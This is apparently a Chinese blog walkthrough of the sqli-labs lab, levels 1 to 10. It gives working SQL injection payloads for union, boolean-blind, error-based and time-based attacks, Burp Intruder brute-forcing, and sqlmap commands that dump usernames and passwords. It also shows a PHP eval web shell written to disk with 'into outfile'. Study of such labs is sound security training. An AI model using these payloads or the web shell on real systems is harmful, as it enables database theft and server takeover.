sqlilabs通关详解less1-10

less-1

判断sql注入是数字型/字符型方法

数字型:

?id=1 and 1=2 页面返回错误

?id=1 or 1=2 页面返回正常

字符型:

?id=1' 页面返回错误

?id=1'--+ 页面返回正常

//sql语句中'--'起注释作用,'+'代表空格

 

联合查询

//要求每条查询语句的查询列数一致

1.判断表格列数

?id=1' order by n--+ 不报错

?id=1' order by (n+1)--+ 报错

得到表格有3列

 

2.判断回显点

?id=-1' union select 1,2,3--+

//id=-1使前面语句查询错误,让出回显位给后面的查询结果

爆出回显点2、3

 

3.获取当前数据库名,版本号

?id=-1' union select 1,database(),version()--+ 

得到数据库名security,版本号5.7.26

 

//查所有数据库

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 

4.查所有表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 

5.查所有字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

 

6.查所有账号和密码

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

 

less-2

数字型

 

less-3

')闭合

 

less-4

")闭合

 

less-5

页面无回显,不能用联合注入

布尔盲注

1.判断数据库名长度

?id=1' and length((select database()))=n--+

或?id=1' and length((select database()))<n--+

或?id=1' and length((select database()))>n--+

 

2.逐个判断数据库名各字符

?id=1' and ascii(substr((select database()),1,1))=n--+

 

3.判断表名长度

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=n--+

 

4.逐个判断表名各字符

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=n--+

 

5.判断字段名长度

?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=n--+

 

6.逐个判断字段名各字符

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=n--+

 

7.判断账号和密码名长度

?id=1' and length((select group_concat(concat_ws('~',username,password)) from users))=n--+

 

8.逐个判断账号和密码名各字符

?id=1' and ascii(substr((select group_concat(concat_ws('~',username,password)) from users),1,1))=n--+

 

less-6

报错注入

1.获取数据库名
?id=1" and updatexml(1,concat(1,(database()),1),1)--+

 

2.获取表名
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1),1)--+

 

3.获取字段名
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1),1)--+

 

4.获取账号和密码名
?id=1" and updatexml(1,concat(1,(select group_concat(concat_ws('~',username,password)) from users),1),1)--+

 

less-7

'单引号报错,''两个单引号正常回显,说明是单引号闭合,经测试发现是'))闭合

注意"use outfile"要我们利用文件上传

一句话木马

注意的是,可能存在文件读写权限问题,需在MySQL\my.ini中加入“secure_file_priv=”并重启MySQL

?id=1')) union select 1,2,'<?php @eval($_POST["passwd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\test.php"--+

若成功上传木马,可利用into_outfile函数获取数据库名、表名等

eg.?id=1')) union select 1,2,database() into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\test1.txt"--+

 

less-8

?id=1'--+

a15d284133b64b45a1b72839d687a889.png

?id=1' and sleep(5)--+

3b233b795c0f421d8cca847e7cbd3c93.png

判断存在时间注入

intruder爆破

burp抓包后发送给intruder

1.爆数据库名长度

攻击类型选择sniper,设置payload位置
8e6bc267c3434996ad50c51f9b96c5a8.png

设置payload,开始攻击
4d577047ce554b9a8747dd8d920f75eb.png

得到库名长度为8

 

2.爆数据库名

攻击类型选择cluster bomb,设置payload位置
cea959b7bac0434ab5ca5f5bc94a4e4d.png

设置payload,开始攻击
e9108f26adfa4fb0bbe43ecc12bb82dc.png

 

0838354d6e82477eafa904bbbfad7eb5.png

59efed01481348fbadf76210e3e97798.png

得到库名security

后依次爆表名、字段和账号密码

 

less-9

sqlmap扫描

1.爆出所有数据库

sqlmap -u "http://localhost/sqli/Less-9/?id=1" --dbs

 

2.爆出数据库security的所有表

sqlmap -u "http://localhost/sqli/Less-9/?id=1" -D security --tables

 

3.爆出users表中的所有的字段

sqlmap -u "http://localhost/sqli/Less-9/?id=1" -D security -T users --columns

 

4.爆出账号和密码

sqlmap -u "http://localhost/sqli/Less-9/?id=1" -D security -T users -C username,password --dump

 

less-10

"双引号闭合,后同上

 

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值